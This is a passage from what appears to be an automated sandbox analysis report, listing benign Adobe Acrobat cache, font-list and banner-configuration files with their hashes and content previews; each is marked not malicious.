Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklkJSpM/tfllXlE/HT8kZ/JtNNX8RolJuRdxLlGB9lQRYwpDdt:kK9cyeT8OpNMa8RdWBwRd
MD5:	82E280A355E634D0522B7738C30BFE41
SHA1:	A130B4B584D6C37FC69C1B3CBBC8F0565D4E59FB
SHA-256:	39AA4B9D40B2C4CE2E4294BFFDFC53F55E7C1C432A6A61F3B9412FCB0FB79E59
SHA-512:	B7F6AF41F6BEBB51C8C9A7BC0C0DD288064584D4563A3630D18BA75275BF924606963E1DBEEDE4FFFF2542C63B7AB05CA1416FE1542ADED783D81F1EF093AE8D
Malicious:	false
Preview:	p...... ...........?.c..(....................................................... ..........W....7O..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kK3XSKPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PCyiDImsLNkPlE99SNxAhUe/3
MD5:	8B52FB52150E5F9A4F63EED4536B15C6
SHA1:	15861CD759737CBFE5A26190B8EABB07618C8358
SHA-256:	00C696179CC545B73026B424F1A2614BC32C0538F3F2E12F0912B1A00B09AD35
SHA-512:	8423B94990745E720F4256CBC45FEAA3A141ABF7638CAE0F5855D8408B912FCA121145F13074F9D30BBF5203A02F7FE8832D661F9651E2089140B05E311AA861
Malicious:	false
Preview:	p...... ........Q."R.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3640

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3640

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3362725012231245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJM3g98kUwPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGMbLUkee9
MD5:	86CEAA11CA6FB327544F1427EAC40665
SHA1:	F3C322098D3B1CC9ACB2C480C1E48D76F0D13EB0
SHA-256:	CDEC912878B0094F5E0103A4FEC2832D23EA95AD0C466D864A4B9C125A72B393
SHA-512:	378D002380AFDA43E8C80BF9E77946FA758B6112EA37D9B0E70BC32070289C8FBE5F99B25A352ED38D49129F5DE537554C4C611E870430321952336C5E315C17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27194578084001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfBoTfXpnrPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGWTfXcUkee9
MD5:	C23C1DE24879C5AD5DC42DBC3B386560
SHA1:	1EFDCB0FFB7B9908F42D4401164F27F599407560
SHA-256:	1304527A6C3714FC8B94B957D4B4E150BBBFA13A1E4D05B25E3AEA7744C77311
SHA-512:	663D2E8BDC2BC6DD2B87C400D3B9FFF9D1A8295245D11D304F1B7282F5957F06B6F1FAD47E5B7FA8671EB262118BD3712A4AFEDA554EADEF4699AD4370D6F9A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24979587441708
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfBD2G6UpnrPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGR22cUkee9
MD5:	C83C7B5D565BC858E7A7AB034FEE994A
SHA1:	D63C7DD7C933540FC227BB1872CBFE25C6C70B20
SHA-256:	625C9E742D750743BE5CA420E9F4783815B1B85257EFBC5B3FBF6A117F3FF9EF
SHA-512:	DFC8B2BBE9D858C3B765D16E5CF2A726D851E3691FEAD6955EC5468BE63AE921EBDDF37061BF4C96BCFD051E00F54C4E8E5986419E8D8D13830C6916587498A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.312270490396699
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfPmwrPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGH56Ukee9
MD5:	07BD260FBB8D9980C2B10B637DBB80E6
SHA1:	18196E53A26BF1AB0DEE714B7602A9C64166D588
SHA-256:	3ABDBF1685576D644D69B66EA02B351B3824F8F3755ADEA1BF54FE58E9B2755B
SHA-512:	E746C97748282EFC676BFF785EA92591B682A2C37358C2C6F0676738E00FB6DE96A12E0FBB73C987AE19EC2661200B9DE83635DD61F5E78DEFDFEC5A9EF56BED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687726974852512
Encrypted:	false
SSDEEP:	24:Yv6XFpJh0pLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvCJh0hgy6SAFv5Ah8cv/I
MD5:	01DDFD7E4030E308C4067FE03DF31E53
SHA1:	D03E50B534E85F4517C72DA5D0E9D5A5475B2795
SHA-256:	5813D5F2DF3826D7DD4C1FF76D14AC0C8201C4BB0CD145E4F6EB77FC0257D251
SHA-512:	738B1249588654B46C74CA3D0A02C4E865289445A987C078036DF67A7A7824BADB71A748A088D1DB227D75F3BCCE0181107BC29DEE7832B144C99FB3AD9B8990
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260087403914306
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJf8dPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGU8Ukee9
MD5:	06BCE18BD7578927398201C2F066AA17
SHA1:	E4B7BC8B63DD5330392212142454170889977CBE
SHA-256:	E3AAA85EF6D85CC64DD42193806C9142692A266AE6E36F94C7EEA2FA392A5DEB
SHA-512:	8D9A171709EDDCF71943C32DFF1B61771A3C6A5743DC90C74BF83BA7D5FB3C221E9FE87D4FCEE95A31371518F42C0CA6CEE8D778CB46315C3D68893AC0A023EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.260002017546634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfQ1rPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGY16Ukee9
MD5:	51AC1D89F48598B308AD6047888622E2
SHA1:	DA9D7FC144E75CA3079B42A8DA152F9D86900D5E
SHA-256:	69BC6B1A983F05A11F8B124AC558EFCFF3C392B0A6B79EB156F879E49278EFC7
SHA-512:	3262888CFE159070515C29F21001FECD75BB1BE80D09ED036721EB95F4DE2D0CF7489E7250660444123BAB69B6ED52874F00290F8A280F8617440CAD05DDD81B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276014597614303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfFldPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGz8Ukee9
MD5:	74B58CA55CBAF82687E13201925B5B27
SHA1:	7DB1578FCB5A4D31DE9284E172EC44E40C9EB938
SHA-256:	7AE543E96984415852803AEBBFB881EB76BDABCED764E6B26D32AC57955427CD
SHA-512:	30F94850A6350E8D0B9AAB4AF5EDD8638FCC13094399D4C2C2E82772884C9DB5816EE77741BD1626368EF575E5188903883F54A44C3B96305424555D5925D4B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.288877911404537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfzdPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGb8Ukee9
MD5:	F8EA7C11CD9F8E5DA1F150B5CBA01831
SHA1:	1C09A95309C8BB570E2C0E556C294196822F8024
SHA-256:	30015F422BE63A0A00D2F7D89F9A089198408AF1B1B8837AF6F5858F1C656A43
SHA-512:	5F70DFCD3FAC54CEE81354AAC17557D2D53A2AFAAA6BA93946585577AF0A4F166E9E191252D839315E1682D7042F70060A45FD34DA9B1CAB16D00DAD0083EA2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269678775281395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJfYdPeUkwRe9:YvXKX1+VkpvR/ZwHAtZGg8Ukee9
MD5:	EC3B1D1371A1E3FFFCD63123B3593214
SHA1:	7ABF13BFB38F04037C546755D226DFB3A5966CE2
SHA-256:	B85C657E44ACD04FBB3184A206EBDE6E0C22D82E3DEF27669502DB12CB42D83F
SHA-512:	261E91F65860F3D7A90D8AD7175A4F22C581CA4C18AF822E0E10BD08F3DD27E2980B19D43100FE7A422B93CE6BC086F15BE1415A1C1E7D77D6F688505BE9F5ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.255195323725421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxL+V9OKYvB3/dVlPIHAR0YvJqoAvJf+dPeUkwRe9:YvXKX1+VkpvR/ZwHAtZG28Ukee9
MD5:	F9A9BC465CBBC8E4B9971B0E8F64FA45
SHA1:	7092B70B402A71EEDD9C5E0D579FBC006CA1FDA0
SHA-256:	11FB52A5B740039F523CD2F263F392E1C26082C849F450D334DAC37ABCDF30B1
SHA-512:	7BAC878C2C43DC1DAADD0CE51B5264129D860EF87469BA5E9DABA0F81C9A344109B12FE1CA8AF7533B242F39B28661A2E5C10375AB61362F06BF8C4E9376B7B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1fa281ed-a8c9-4399-a4c0-742ca50a0527","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736753063015,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.253434266252295
Encrypted:	false
